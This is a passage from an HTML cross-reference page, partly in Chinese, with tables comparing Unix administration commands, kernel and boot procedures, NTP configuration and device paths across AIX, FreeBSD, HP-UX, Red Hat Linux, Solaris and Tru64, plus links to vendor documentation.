<td width="216">
<p class="MsoNormal"><tt><span lang="EN-US"><a href="http://www.redhat.com/training/rhce/courses/" target="_blank"><span>RHCE</span></a></span></tt></p>
</td>
</tr>
</tbody>
</table>
<p class="MsoNormal"><span lang="EN-US"> </span></p>
<table class="MsoNormalTable" style="height: 101px;" border="1" cellspacing="0" cellpadding="0" width="697">
<tbody>
<tr>
<td width="132">
<p class="MsoNormal" align="center"><tt><strong><span lang="EN-US">Links</span></strong></tt><span lang="EN-US"> </span></p>
</td>
<td width="180">
<p class="MsoNormal" align="center"><strong><span lang="EN-US">FreeBSD</span></strong><span lang="EN-US"> </span></p>
</td>
<td width="192">
<p class="MsoNormal" align="center"><tt><strong><span lang="EN-US">Solaris (SPARC)</span></strong></tt><span lang="EN-US"> </span></p>
</td>
<td width="240">
<p class="MsoNormal" align="center"><tt><strong><span lang="EN-US">Tru64</span></strong></tt><span lang="EN-US"> </span></p>
</td>
</tr>
<tr>
<td width="132">
<p class="MsoNormal"><tt><span lang="EN-US">FAQ</span></tt></p>
</td>
<td width="180">
<p class="MsoNormal"><span lang="EN-US"><a href="http://www.freebsd.org/FAQ/FAQ.html" target="_blank">FreeBSD FAQ</a></span></p>
</td>
<td width="192">
<p class="MsoNormal"><tt><span lang="EN-US"><a href="http://www.wins.uva.nl/pub/solaris/solaris2/" target="_blank"><span>Solaris 2 FAQ</span></a></span></tt></p>
</td>
<td width="240">
<p class="MsoNormal"><tt><span lang="EN-US"><a href="http://www.tru64.org/faq/tru64_faq.php3" target="_blank"><span>Tru64 FAQ</span></a></span></tt></p>
</td>
</tr>
<tr>
<td width="132">
<p class="MsoNormal"><tt><span lang="EN-US">Online   Manual</span></tt></p>
</td>
<td width="180">
<p class="MsoNormal"><span lang="EN-US"><a href="http://www.freebsd.org/handbook/index.html" target="_blank">FreeBSD   Hand Book</a></span></p>
</td>
<td width="192">
<p class="MsoNormal"><tt><span lang="EN-US"><a href="http://docs.sun.com/ab2/@TopicBrowse?topic=Sol7_C;" target="_blank"><span>Solaris 7 Documentation</span></a></span></tt></p>
</td>
<td width="240">
<p class="MsoNormal"><tt><span lang="EN-US"><a href="http://www.unix.digital.com/faqs/publications/pub_page/doc_list.html" target="_blank"><span>Tru64   Documents</span></a></span></tt></p>
</td>
</tr>
<tr>
<td width="132">
<p class="MsoNormal"><tt><span lang="EN-US">Technical   Support</span></tt></p>
</td>
<td width="180">
<p class="MsoNormal"><span lang="EN-US"> </span></p>
</td>
<td width="192">
<p class="MsoNormal"><tt><span lang="EN-US"><a href="http://sunsolve.sun.com/" target="_blank"><span>SunSolve</span></a></span></tt></p>
</td>
<td width="240">
<p class="MsoNormal"><tt><span lang="EN-US"><a href="http://www6.compaq.com/alphaserver/support.html" target="_blank"><span>Alpha Systems Support</span></a></span></tt></p>
</td>
</tr>
<tr>
<td width="132">
<p class="MsoNormal"><tt><span lang="EN-US">Phone   Number</span></tt></p>
</td>
<td width="180">
<p class="MsoNormal"><span lang="EN-US"> </span></p>
</td>
<td width="192">
<p class="MsoNormal"><tt><span lang="EN-US">1-800-USA-4SUN</span></tt></p>
</td>
<td width="240">
<p class="MsoNormal"><tt><span lang="EN-US"> </span></tt></p>
</td>
</tr>
<tr>
<td width="132">
<p class="MsoNormal"><tt><span lang="EN-US">Free   Software</span></tt></p>
</td>
<td width="180">
<p class="MsoNormal"><span lang="EN-US"><a href="ftp://ftp.freebsd.org/pub" target="_blank">FreeBSD Primary Site</a></span></p>
</td>
<td width="192">
<p class="MsoNormal"><tt><span lang="EN-US"><a href="http://www.sunfreeware.com/" target="_blank"><span>Sun Freeware</span></a></span></tt></p>
</td>
<td width="240">
<p class="MsoNormal"><tt><span lang="EN-US"><a href="http://www.tru64unix.compaq.com/demos" target="_blank"><span>Tru64 Demos, Shareware &amp; Freeware</span></a></span></tt></p>
</td>
</tr>
<tr>
<td width="132">
<p class="MsoNormal"><tt><span lang="EN-US">Certification</span></tt></p>
</td>
<td width="180">
<p class="MsoNormal"><span lang="EN-US"> </span></p>
</td>
<td width="192">
<p class="MsoNormal"><tt><span lang="EN-US"><a href="http://suned.sun.com/USA/certification/solarismain.html" target="_blank"><span>suned.sun.com</span></a></span></tt></p>
</td>
<td width="240">
<p class="MsoNormal"><tt><span lang="EN-US"><a href="http://www.compaq.com/training/ase-tsas.html" target="_blank"><span>ASE Information</span></a></span></tt></p>
</td>
</tr>
</tbody>
</table>
<p class="MsoNormal"><span lang="EN-US"> </span></p>
<p class="MsoNormal"><span lang="EN-US"> </span></p>
<p class="MsoNormal"><span lang="EN-US"> </span></p>
<p class="MsoNormal"><span lang="EN-US"> </span></p>
<p class="MsoNormal" align="center"><strong><span>主流服务器</span></strong><strong><span lang="EN-US">UNIX</span></strong><strong><span>操作系统其它命令</span></strong></p>
<table class="MsoNormalTable" style="height: 590px;" border="1" cellspacing="0" cellpadding="0" width="692">
<tbody>
<tr>
<td width="144">
<p class="MsoNormal" align="center"><strong><span lang="EN-US">MISC</span></strong><span lang="EN-US"> </span></p>
</td>
<td width="180">
<p class="MsoNormal" align="center"><strong><span lang="EN-US">AIX</span></strong><span lang="EN-US"> </span></p>
</td>
<td width="180">
<p class="MsoNormal" align="center"><strong><span lang="EN-US">FreeBSD</span></strong><span lang="EN-US"> </span></p>
</td>
<td width="240">
<p class="MsoNormal" align="center"><strong><span lang="EN-US">HP-UX</span></strong><span lang="EN-US"> </span></p>
</td>
</tr>
<tr>
<td width="144">
<p class="MsoNormal"><span lang="EN-US">Startup script</span></p>
</td>
<td width="180">
<p class="MsoNormal"><span lang="EN-US">/etc/rc</span></p>
</td>
<td width="180">
<p class="MsoNormal"><span lang="EN-US">/etc/rc</span></p>
</td>
<td width="240">
<p class="MsoNormal"><span lang="EN-US">/sbin/rc</span></p>
</td>
</tr>
<tr>
<td width="144">
<p class="MsoNormal"><span lang="EN-US">Kernel</span></p>
</td>
<td width="180">
<p class="MsoNormal"><span lang="EN-US">/usr/lib/boot/unix_up</span></p>
</td>
<td width="180">
<p class="MsoNormal"><span lang="EN-US">/kernel</span></p>
</td>
<td width="240">
<p class="MsoNormal"><span lang="EN-US">/stand/vmunix</span></p>
</td>
</tr>
<tr>
<td width="144">
<p class="MsoNormal"><span lang="EN-US">Kernel Parameters</span></p>
</td>
<td width="180">
<p class="MsoNormal"><span lang="EN-US">lsattr -E -l sys0</span></p>
</td>
<td width="180">
<p class="MsoNormal"><span lang="EN-US">sysctl -a</span></p>
</td>
<td width="240">
<p class="MsoNormal"><span lang="EN-US">sysdef<span> </span>kmtune<span> </span>kmsystem</span></p>
</td>
</tr>
<tr>
<td width="144">
<p class="MsoNormal"><span lang="EN-US">Reconfigure the kernel</span></p>
</td>
<td width="180">
<p class="MsoNormal"><span lang="EN-US"><br />
chdev -l sys0 -a </span></td>
<td width="180">
<p class="MsoNormal"><span lang="EN-US">cd /sys/i386/conf<br />
vi KERNEL<br />
config KERNEL<br />
cd ../../compile\<br />
/KERNEL<br />
make depend<br />
make<br />
make install</span></td>
<td width="240">
<p class="MsoNormal"><span lang="EN-US">cd /stand/build\<br />
/usr/lbin/sysadm\<br />
/system_prep -v -s system<br />
vi system<br />
mk_kernel -s system<br />
cd /stand<br />
mv system system.prev<br />
mv vmunix vmunix.prev<br />
mv dlkm dlkm.prev<br />
mv /stand/build\<br />
/system system<br />
kmupdate /stand/build\<br />
/vmunix_test</span></td>
</tr>
<tr>
<td width="144">
<p class="MsoNormal"><span lang="EN-US">List modules</span></p>
</td>
<td width="180">
<p class="MsoNormal"><span lang="EN-US">genkex</span></p>
</td>
<td width="180">
<p class="MsoNormal"><span lang="EN-US">kldstat</span></p>
</td>
<td width="240">
<p class="MsoNormal"><span lang="EN-US">kmadmin –s</span></p>
</td>
</tr>
<tr>
<td width="144">
<p class="MsoNormal"><span lang="EN-US">Load module</span></p>
</td>
<td width="180">
<p class="MsoNormal"><span lang="EN-US"> </span></p>
</td>
<td width="180">
<p class="MsoNormal"><span lang="EN-US">kldload</span></p>
</td>
<td width="240">
<p class="MsoNormal"><span lang="EN-US">kmadmin –L</span></p>
</td>
</tr>
<tr>
<td width="144">
<p class="MsoNormal"><span lang="EN-US">Unload module</span></p>
</td>
<td width="180">
<p class="MsoNormal"><span lang="EN-US"> </span></p>
</td>
<td width="180">
<p class="MsoNormal"><span lang="EN-US">kldunload</span></p>
</td>
<td width="240">
<p class="MsoNormal"><span lang="EN-US">kmadmin –U</span></p>
</td>
</tr>
<tr>
<td width="144">
<p class="MsoNormal"><span lang="EN-US">Initialize system</span></p>
</td>
<td width="180">
<p class="MsoNormal"><span lang="EN-US">install_assist</span></p>
</td>
<td width="180">
<p class="MsoNormal"><span lang="EN-US">/stand/sysinstall</span></p>
</td>
<td width="240">
<p class="MsoNormal"><span lang="EN-US">set_parms initial</span></p>
</td>
</tr>
<tr>
<td width="144">
<p class="MsoNormal"><span lang="EN-US">Physical RAM</span></p>
</td>
<td width="180">
<p class="MsoNormal"><span lang="EN-US">bootinfo -r</span></p>
</td>
<td width="180">
<p class="MsoNormal"><span lang="EN-US">sysctl hw.physmem</span></p>
</td>
<td width="240">
<p class="MsoNormal"><span lang="EN-US">grep -i Physical\ /var/adm/syslog\<br />
/syslog.log</span></td>
</tr>
<tr>
<td width="144">
<p class="MsoNormal"><span lang="EN-US">Kernel Bits</span></p>
</td>
<td width="180">
<p class="MsoNormal"><span lang="EN-US">bootinfo -k</span></p>
</td>
<td width="180">
<p class="MsoNormal"><span lang="EN-US"> </span></p>
</td>
<td width="240">
<p class="MsoNormal"><span lang="EN-US">getconf KERNEL_BITS</span></p>
</td>
</tr>
<tr>
<td width="144">
<p class="MsoNormal"><span lang="EN-US">Crash utility</span></p>
</td>
<td width="180">
<p class="MsoNormal"><span lang="EN-US">Crash</span></p>
</td>
<td width="180">
<p class="MsoNormal"><span lang="EN-US">crash</span></p>
</td>
<td width="240">
<p class="MsoNormal"><span lang="EN-US">Adb</span></p>
</td>
</tr>
<tr>
<td width="144">
<p class="MsoNormal"><span lang="EN-US">Trace System Calls</span></p>
</td>
<td width="180">
<p class="MsoNormal"><span lang="EN-US">Syscalls</span></p>
</td>
<td width="180">
<p class="MsoNormal"><span lang="EN-US">truss</span></p>
</td>
<td width="240">
<p class="MsoNormal"><span lang="EN-US"><a href="ftp://ftp.cup.hp.com/dist/networking/misc/tusc.shar" target="_blank"><span>tusc</span></a></span></p>
</td>
</tr>
<tr>
<td width="144">
<p class="MsoNormal"><span lang="EN-US">Machine model</span></p>
</td>
<td width="180">
<p class="MsoNormal"><span lang="EN-US">uname -m<br />
bootinfo -m</span></td>
<td width="180">
<p class="MsoNormal"><span lang="EN-US">uname -m</span></p>
</td>
<td width="240">
<p class="MsoNormal"><span lang="EN-US">model<br />
uname -m</span></td>
</tr>
<tr>
<td width="144">
<p class="MsoNormal"><span lang="EN-US">OS Level</span></p>
</td>
<td width="180">
<p class="MsoNormal"><span lang="EN-US">Oslevel</span></p>
</td>
<td width="180">
<p class="MsoNormal"><span lang="EN-US">uname -r</span></p>
</td>
<td width="240">
<p class="MsoNormal"><span lang="EN-US">uname -r</span></p>
</td>
</tr>
<tr>
<td width="144">
<p class="MsoNormal"><span lang="EN-US">Run Level</span></p>
</td>
<td width="180">
<p class="MsoNormal"><span lang="EN-US">who –r</span></p>
</td>
<td width="180">
<p class="MsoNormal"><span lang="EN-US"> </span></p>
</td>
<td width="240">
<p class="MsoNormal"><span lang="EN-US">who -r</span></p>
</td>
</tr>
<tr>
<td width="144">
<p class="MsoNormal"><span lang="EN-US">Core dump files</span></p>
</td>
<td width="180">
<p class="MsoNormal"><span lang="EN-US">/var/adm/ras</span></p>
</td>
<td width="180">
<p class="MsoNormal"><span lang="EN-US"> </span></p>
</td>
<td width="240">
<p class="MsoNormal"><span lang="EN-US">/var/adm/crash</span></p>
</td>
</tr>
<tr>
<td width="144">
<p class="MsoNormal"><span lang="EN-US">Boot single user</span></p>
</td>
<td width="180">
<p class="MsoNormal"><span lang="EN-US">Key on service mode/F4<br />
Boot from CD/Tape<br />
Select Maintenance<br />
Limited function Shell</span></td>
<td width="180">
<p class="MsoNormal"><span lang="EN-US">ok boot –s</span></p>
</td>
<td width="240">
<p class="MsoNormal"><span lang="EN-US">&gt;boot<br />
Interact with IPL ? <strong>Y</strong><br />
ISL&gt;hpux -iS</span></td>
</tr>
<tr>
<td width="144">
<p class="MsoNormal"><span lang="EN-US">Maintenance mode</span></p>
</td>
<td width="180">
<p class="MsoNormal"><span lang="EN-US"> </span></p>
</td>
<td width="180">
<p class="MsoNormal"><span lang="EN-US">ok boot –as</span></p>
</td>
<td width="240">
<p class="MsoNormal"><span lang="EN-US">&gt;boot<br />
Interact with IPL ? <strong>Y</strong><br />
ISL&gt;hpux -lm</span></td>
</tr>
<tr>
<td width="144">
<p class="MsoNormal"><span lang="EN-US">Interrupt Key</span></p>
</td>
<td width="180">
<p class="MsoNormal"><span lang="EN-US"> </span></p>
</td>
<td width="180">
<p class="MsoNormal"><span> </span></p>
</td>
<td width="240">
<p class="MsoNormal"><span lang="EN-US">control-B</span></p>
</td>
</tr>
<tr>
<td width="144">
<p class="MsoNormal"><span lang="EN-US">Return to console</span></p>
</td>
<td width="180">
<p class="MsoNormal"><span lang="EN-US"> </span></p>
</td>
<td width="180">
<p class="MsoNormal"><span> </span></p>
</td>
<td width="240">
<p class="MsoNormal"><span lang="EN-US">Co</span></p>
</td>
</tr>
<tr>
<td width="144">
<p class="MsoNormal"><span lang="EN-US">Timezone Management</span></p>
</td>
<td width="180">
<p class="MsoNormal"><span lang="EN-US">/etc/environment<br />
/etc/profile</span></td>
<td width="180">
<p class="MsoNormal"><span lang="EN-US">/etc/localtime</span></p>
</td>
<td width="240">
<p class="MsoNormal"><span lang="EN-US">/etc/TIMEZONE</span></p>
</td>
</tr>
<tr>
<td width="144">
<p class="MsoNormal"><span lang="EN-US">NTP Daemon</span></p>
</td>
<td width="180">
<p class="MsoNormal"><span lang="EN-US">/etc/ntp.conf<br />
startsrc -s xntpd</span></td>
<td width="180">
<p class="MsoNormal"><span lang="EN-US">/etc/rc.conf {xntpd enable=&#8221;YES&#8221;}<br />
/etc/rc.network</span></td>
<td width="240">
<p class="MsoNormal"><span lang="EN-US">/etc/rc.config.d\<br />
/netdaemons<br />
/sbin/init.d/xntpd</span></td>
</tr>
</tbody>
</table>
<p class="MsoNormal" align="center"><strong><span>主流服务器</span></strong><strong><span lang="EN-US">UNIX</span></strong><strong><span>操作系统其它命令</span></strong><strong><span> </span></strong><strong><span>续</span></strong></p>
<table class="MsoNormalTable" style="height: 590px;" border="1" cellspacing="0" cellpadding="0" width="699">
<tbody>
<tr>
<td width="144">
<p class="MsoNormal" align="center"><strong><span lang="EN-US">MISC</span></strong><span lang="EN-US"> </span></p>
</td>
<td width="228">
<p class="MsoNormal" align="center"><strong><span lang="EN-US">Linux (RedHat)</span></strong><span lang="EN-US"> </span></p>
</td>
<td width="156">
<p class="MsoNormal" align="center"><strong><span lang="EN-US">Solaris (SPARC)</span></strong><span lang="EN-US"> </span></p>
</td>
<td width="216">
<p class="MsoNormal" align="center"><strong><span lang="EN-US">Tru64</span></strong><span lang="EN-US"> </span></p>
</td>
</tr>
<tr>
<td width="144">
<p class="MsoNormal"><span lang="EN-US">Startup script</span></p>
</td>
<td width="228">
<p class="MsoNormal"><span lang="EN-US">/etc/rc.d/rc</span></p>
</td>
<td width="156">
<p class="MsoNormal"><span lang="EN-US">/sbin/init.d</span></p>
</td>
<td width="216">
<p class="MsoNormal"><span lang="EN-US">/sbin/init.d</span></p>
</td>
</tr>
<tr>
<td width="144">
<p class="MsoNormal"><span lang="EN-US">Kernel</span></p>
</td>
<td width="228">
<p class="MsoNormal"><span lang="EN-US">/boot/vmlinuz</span></p>
</td>
<td width="156">
<p class="MsoNormal"><span lang="EN-US">/kernel/genunix</span></p>
</td>
<td width="216">
<p class="MsoNormal"><span lang="EN-US">/vmunix</span></p>
</td>
</tr>
<tr>
<td width="144">
<p class="MsoNormal"><span lang="EN-US">Kernel Parameters</span></p>
</td>
<td width="228">
<p class="MsoNormal"><span lang="EN-US">sysctl -a</span></p>
</td>
<td width="156">
<p class="MsoNormal"><span lang="EN-US">sysdef –I</span></p>
</td>
<td width="216">
<p class="MsoNormal"><span lang="EN-US">sysconfig<span> </span>dxkerneltuner</span></p>
</td>
</tr>
<tr>
<td width="144">
<p class="MsoNormal"><span lang="EN-US">Reconfigure the kernel</span></p>
</td>
<td width="228">
<p class="MsoNormal"><span lang="EN-US">cd /usr/src/linux<br />
make mrproper<br />
make menuconfig<br />
make dep;clean;bzImage;install<br />
make modules<br />
make modules_install </span></p>
<p class="MsoNormal"><span lang="EN-US">cp arch/i386/boot/bzImage /boot/vmlinuz<br />
mkinitrd /boot/initrd-2.4.img 2.4<br />
vi /etc/lilo.conf<br />
lilo</span></td>
<td width="156">
<p class="MsoNormal"><span lang="EN-US">vi /etc/system<br />
reboot</span></td>
<td width="216">
<p class="MsoNormal"><span lang="EN-US">doconfig</span></p>
</td>
</tr>
<tr>
<td width="144">
<p class="MsoNormal"><span lang="EN-US">List modules</span></p>
</td>
<td width="228">
<p class="MsoNormal"><span lang="EN-US">lsmod</span></p>
</td>
<td width="156">
<p class="MsoNormal"><span lang="EN-US">modinfo</span></p>
</td>
<td width="216">
<p class="MsoNormal"><span lang="EN-US"> </span></p>
</td>
</tr>
<tr>
<td width="144">
<p class="MsoNormal"><span lang="EN-US">Load module</span></p>
</td>
<td width="228">
<p class="MsoNormal"><span lang="EN-US">insmod</span></p>
</td>
<td width="156">
<p class="MsoNormal"><span lang="EN-US">modload</span></p>
</td>
<td width="216">
<p class="MsoNormal"><span lang="EN-US"> </span></p>
</td>
</tr>
<tr>
<td width="144">
<p class="MsoNormal"><span lang="EN-US">Unload module</span></p>
</td>
<td width="228">
<p class="MsoNormal"><span lang="EN-US">rmmod</span></p>
</td>
<td width="156">
<p class="MsoNormal"><span lang="EN-US">modunload</span></p>
</td>
<td width="216">
<p class="MsoNormal"><span lang="EN-US"> </span></p>
</td>
</tr>
<tr>
<td width="144">
<p class="MsoNormal"><span lang="EN-US">Initialize system</span></p>
</td>
<td width="228">
<p class="MsoNormal"><span lang="EN-US">netconf</span></p>
</td>
<td width="156">
<p class="MsoNormal"><span lang="EN-US">sys-unconfig</span></p>
</td>
<td width="216">
<p class="MsoNormal"><span lang="EN-US">netsetup</span></p>
</td>
</tr>
<tr>
<td width="144">
<p class="MsoNormal"><span lang="EN-US">Physical RAM</span></p>
</td>
<td width="228">
<p class="MsoNormal"><span lang="EN-US">free</span></p>
</td>
<td width="156">
<p class="MsoNormal"><span lang="EN-US">prtconf</span></p>
</td>
<td width="216">
<p class="MsoNormal"><span lang="EN-US">uerf | grep memory</span></p>
</td>
</tr>
<tr>
<td width="144">
<p class="MsoNormal"><span lang="EN-US">Kernel Bits</span></p>
</td>
<td width="228">
<p class="MsoNormal"><span lang="EN-US">getconf WORD_BIT</span></p>
</td>
<td width="156">
<p class="MsoNormal"><span lang="EN-US">isainfo -kv</span></p>
</td>
<td width="216">
<p class="MsoNormal"><span lang="EN-US">64</span></p>
</td>
</tr>
<tr>
<td width="144">
<p class="MsoNormal"><span lang="EN-US">Crash utility</span></p>
</td>
<td width="228">
<p class="MsoNormal"><span lang="EN-US"><a href="http://oss.sgi.com/projects/lkcd/" target="_blank"><span>lcrash</span></a></span></p>
</td>
<td width="156">
<p class="MsoNormal"><span lang="EN-US">crash</span></p>
</td>
<td width="216">
<p class="MsoNormal"><span lang="EN-US">kdbx</span></p>
</td>
</tr>
<tr>
<td width="144">
<p class="MsoNormal"><span lang="EN-US">Trace System Calls</span></p>
</td>
<td width="228">
<p class="MsoNormal"><span lang="EN-US">strace</span></p>
</td>
<td width="156">
<p class="MsoNormal"><span lang="EN-US">truss</span></p>
</td>
<td width="216">
<p class="MsoNormal"><span lang="EN-US"><a href="ftp://ftp.iastate.edu/pub/unix/osf1/trace/" target="_blank"><span>trace</span></a></span></p>
</td>
</tr>
<tr>
<td width="144">
<p class="MsoNormal"><span lang="EN-US">Machine model</span></p>
</td>
<td width="228">
<p class="MsoNormal"><span lang="EN-US">uname -m</span></p>
</td>
<td width="156">
<p class="MsoNormal"><span lang="EN-US">uname -imp</span></p>
</td>
<td width="216">
<p class="MsoNormal"><span lang="EN-US">uname -p</span></p>
</td>
</tr>
<tr>
<td width="144">
<p class="MsoNormal"><span lang="EN-US">OS Level</span></p>
</td>
<td width="228">
<p class="MsoNormal"><span lang="EN-US">uname -r</span></p>
</td>
<td width="156">
<p class="MsoNormal"><span lang="EN-US">uname -r</span></p>
</td>
<td width="216">
<p class="MsoNormal"><span lang="EN-US">sizer -v</span></p>
</td>
</tr>
<tr>
<td width="144">
<p class="MsoNormal"><span lang="EN-US">Run Level</span></p>
</td>
<td width="228">
<p class="MsoNormal"><span lang="EN-US">runlevel</span></p>
</td>
<td width="156">
<p class="MsoNormal"><span lang="EN-US">who -r</span></p>
</td>
<td width="216">
<p class="MsoNormal"><span lang="EN-US">who -r</span></p>
</td>
</tr>
<tr>
<td width="144">
<p class="MsoNormal"><span lang="EN-US">Core dump files</span></p>
</td>
<td width="228">
<p class="MsoNormal"><span lang="EN-US"> </span></p>
</td>
<td width="156">
<p class="MsoNormal"><span lang="EN-US">/var/crash/`uname -n`</span></p>
</td>
<td width="216">
<p class="MsoNormal"><span lang="EN-US"> </span></p>
</td>
</tr>
<tr>
<td width="144">
<p class="MsoNormal"><span lang="EN-US">Boot single user</span></p>
</td>
<td width="228">
<p class="MsoNormal"><span lang="EN-US">{lilo}<br />
control-x<br />
linux S</span></p>
<p>{grub}<br />
c<br />
kernel vmlinuz-2.4.9-13 <strong>single</strong> ro root=/dev/hda8<br />
initrd /initrd-2.4.9-13.img<br />
boot</td>
<td width="156">
<p class="MsoNormal"><span lang="EN-US">ok boot -s</span></p>
</td>
<td width="216">
<p class="MsoNormal"><span lang="EN-US">&gt;&gt;&gt; boot -fl s</span></p>
</td>
</tr>
<tr>
<td width="144">
<p class="MsoNormal"><span lang="EN-US">Maintenance mode</span></p>
</td>
<td width="228">
<p class="MsoNormal"><span lang="EN-US"> </span></p>
</td>
<td width="156">
<p class="MsoNormal"><span lang="EN-US">ok boot -as</span></p>
</td>
<td width="216">
<p class="MsoNormal"><span lang="EN-US"> </span></p>
</td>
</tr>
<tr>
<td width="144">
<p class="MsoNormal"><span lang="EN-US">Interrupt Key</span></p>
</td>
<td width="228">
<p class="MsoNormal"><span lang="EN-US"> </span></p>
</td>
<td width="156">
<p class="MsoNormal"><span lang="EN-US">Stop-A</span></p>
</td>
<td width="216">
<p class="MsoNormal"><span lang="EN-US">control-P</span></p>
</td>
</tr>
<tr>
<td width="144">
<p class="MsoNormal"><span lang="EN-US">Return to console</span></p>
</td>
<td width="228">
<p class="MsoNormal"><span lang="EN-US"> </span></p>
</td>
<td width="156">
<p class="MsoNormal"><span lang="EN-US">ok go</span></p>
</td>
<td width="216">
<p class="MsoNormal"><span lang="EN-US"> </span></p>
</td>
</tr>
<tr>
<td width="144">
<p class="MsoNormal"><span lang="EN-US">Timezone Management</span></p>
</td>
<td width="228">
<p class="MsoNormal"><span lang="EN-US">/etc/sysconfig/clock</span></p>
</td>
<td width="156">
<p class="MsoNormal"><span lang="EN-US">/etc/TIMEZONE<br />
/etc/default/init</span></td>
<td width="216">
<p class="MsoNormal"><span lang="EN-US">/etc/svid3_tz<br />
timezone</span></td>
</tr>
<tr>
<td width="144">
<p class="MsoNormal"><span lang="EN-US">NTP Daemon</span></p>
</td>
<td width="228">
<p class="MsoNormal"><span lang="EN-US">/etc/ntp.conf<br />
/etc/rc.d/init.d/xntpd</span></td>
<td width="156">
<p class="MsoNormal"><span lang="EN-US">/etc/inet/ntp.conf<br />
/etc/init.d/xntpd</span></td>
<td width="216">
<p class="MsoNormal"><span lang="EN-US">rcmgr set XNTPD_CONF YES</span><span lang="EN-US"><br />
/sbin/init.d/xntpd</span></td>
</tr>
</tbody>
</table>
<p class="MsoNormal"><span lang="EN-US"> </span></p>
<p class="MsoNormal" align="center"><strong><span>主流服务器</span></strong><strong><span lang="EN-US">UNIX</span></strong><strong><span>操作系统设备管理</span></strong></p>
<table class="MsoNormalTable" style="height: 211px;" border="1" cellspacing="0" cellpadding="0" width="693">
<tbody>
<tr>
<td width="216">
<p class="MsoNormal" align="center"><tt><strong><span lang="EN-US">Devices</span></strong></tt><span lang="EN-US"> </span></p>
</td>
<td width="180">
<p class="MsoNormal" align="center"><tt><strong><span lang="EN-US">AIX</span></strong></tt><span lang="EN-US"> </span></p>
</td>
<td width="156">
<p class="MsoNormal" align="center"><tt><strong><span lang="EN-US">FreeBSD</span></strong></tt><span lang="EN-US"> </span></p>
</td>
<td width="192">
<p class="MsoNormal" align="center"><tt><strong><span lang="EN-US">HP-UX</span></strong></tt><span lang="EN-US"> </span></p>
</td>
</tr>
<tr>
<td width="216">
<p class="MsoNormal"><tt><span lang="EN-US">Devices</span></tt></p>
</td>
<td width="180">
<p class="MsoNormal"><tt><span lang="EN-US">/dev</span></tt></p>
</td>
<td width="156">
<p class="MsoNormal"><tt><span lang="EN-US">/dev</span></tt></p>
</td>
<td width="192">
<p class="MsoNormal"><tt><span lang="EN-US">/dev</span></tt></p>
</td>
</tr>
<tr>
<td width="216">
<p class="MsoNormal"><tt><span lang="EN-US">Install   devices for attached peripherals</span></tt></p>
</td>
<td width="180">
<p class="MsoNormal"><tt><span lang="EN-US">cfgmgr –v</span></tt></p>
</td>
<td width="156">
<p class="MsoNormal"><tt><span lang="EN-US">/dev/MAKEDEV</span></tt></p>
</td>
<td width="192">
<p class="MsoNormal"><tt><span lang="EN-US">insf -e</span></tt></p>
</td>
</tr>
<tr>
<td width="216">
<p class="MsoNormal"><tt><span lang="EN-US">Remove   device</span></tt></p>
</td>
<td width="180">
<p class="MsoNormal"><tt><span lang="EN-US">rmdev –l</span></tt></p>
</td>
<td width="156">
<p class="MsoNormal"><span lang="EN-US"> </span></p>
</td>
<td width="192">
<p class="MsoNormal"><tt><span lang="EN-US">rmsf</span></tt></p>
</td>
</tr>
<tr>
<td width="216">
<p class="MsoNormal"><tt><span lang="EN-US">Device   drivers</span></tt></p>
</td>
<td width="180">
<p class="MsoNormal"><tt><span lang="EN-US">Lscfg</span></tt></p>
</td>
<td width="156">
<p class="MsoNormal"><span lang="EN-US"> </span></p>
</td>
<td width="192">
<p class="MsoNormal"><tt><span lang="EN-US">lsdev</span></tt></p>
</td>
</tr>
<tr>
<td width="216">
<p class="MsoNormal"><tt><span lang="EN-US">CPU</span></tt></p>
</td>
<td width="180">
<p class="MsoNormal"><tt><span lang="EN-US">lsdev -Cc   processor</span></tt></p>
</td>
<td width="156">
<p class="MsoNormal"><tt><span lang="EN-US">sysctl   hw.model</span></tt></p>
</td>
<td width="192">
<p class="MsoNormal"><tt><span lang="EN-US">ioscan -fnC   processor</span></tt></p>
</td>
</tr>
<tr>
<td width="216">
<p class="MsoNormal"><tt><span lang="EN-US">List   Terminal</span></tt></p>
</td>
<td width="180">
<p class="MsoNormal"><tt><span lang="EN-US">lsdev -Cc   tty</span></tt></p>
</td>
<td width="156">
<p class="MsoNormal"><span lang="EN-US"> </span></p>
</td>
<td width="192">
<p class="MsoNormal"><tt><span lang="EN-US">ioscan -fnC   tty</span></tt></p>
</td>
</tr>
<tr>
<td width="216">
<p class="MsoNormal"><tt><span lang="EN-US">Diagnostics</span></tt></p>
</td>
<td width="180">
<p class="MsoNormal"><tt><span lang="EN-US">Diag</span></tt></p>
</td>
<td width="156">
<p class="MsoNormal"><tt><span lang="EN-US">pciconf -l</span></tt></p>
</td>
<td width="192">
<p class="MsoNormal"><tt><span lang="EN-US">Stm</span></tt></p>
</td>
</tr>
<tr>
<td width="216">
<p class="MsoNormal"><tt><span lang="EN-US">Whole Disk</span></tt></p>
</td>
<td width="180">
<p class="MsoNormal"><tt><span lang="EN-US">/dev/hdisk#</span></tt></p>
</td>
<td width="156">
<p class="MsoNormal"><tt><span lang="EN-US">/dev/ad0s1c</span></tt></p>
</td>
<td width="192">
<p class="MsoNormal"><tt><span lang="EN-US">/dev/dsk/c#t#d0</span></tt></p>
</td>
</tr>
<tr>
<td width="216">
<p class="MsoNormal"><tt><span lang="EN-US">CDROM</span></tt></p>
</td>
<td width="180">
<p class="MsoNormal"><tt><span lang="EN-US">/dev/cd0</span></tt></p>
</td>
<td width="156">
<p class="MsoNormal"><tt><span lang="EN-US">/dev/acd0c</span></tt></p>
</td>
<td width="192">
<p class="MsoNormal"><tt><span lang="EN-US">/dev/dsk/c#t2d0</span></tt></p>
</td>
</tr>
<tr>
<td width="216">
<p class="MsoNormal"><tt><span lang="EN-US">CDROM file   type</span></tt></p>
</td>
<td width="180">
<p class="MsoNormal"><tt><span lang="EN-US">Cdrfs</span></tt></p>
</td>
<td width="156">
<p class="MsoNormal"><tt><span lang="EN-US">cd9660</span></tt></p>
</td>
<td width="192">
<p class="MsoNormal"><tt><span lang="EN-US">Cdfs</span></tt></p>
</td>
</tr>
<tr>
<td width="216">
<p class="MsoNormal"><tt><span lang="EN-US">Rewinding   tape drive</span></tt></p>
</td>
<td width="180">
<p class="MsoNormal"><tt><span lang="EN-US">/dev/rmt0</span></tt></p>
</td>
<td width="156">
<p class="MsoNormal"><tt><span lang="EN-US">/dev/rwt0d</span></tt></p>
</td>
<td width="192">
<p class="MsoNormal"><tt><span lang="EN-US">/dev/rmt/0m</span></tt></p>
</td>
</tr>
<tr>
<td width="216">
<p class="MsoNormal"><tt><span lang="EN-US">Floppy drive</span></tt></p>
</td>
<td width="180">
<p class="MsoNormal"><tt><span lang="EN-US">/dev/rfd0</span></tt></p>
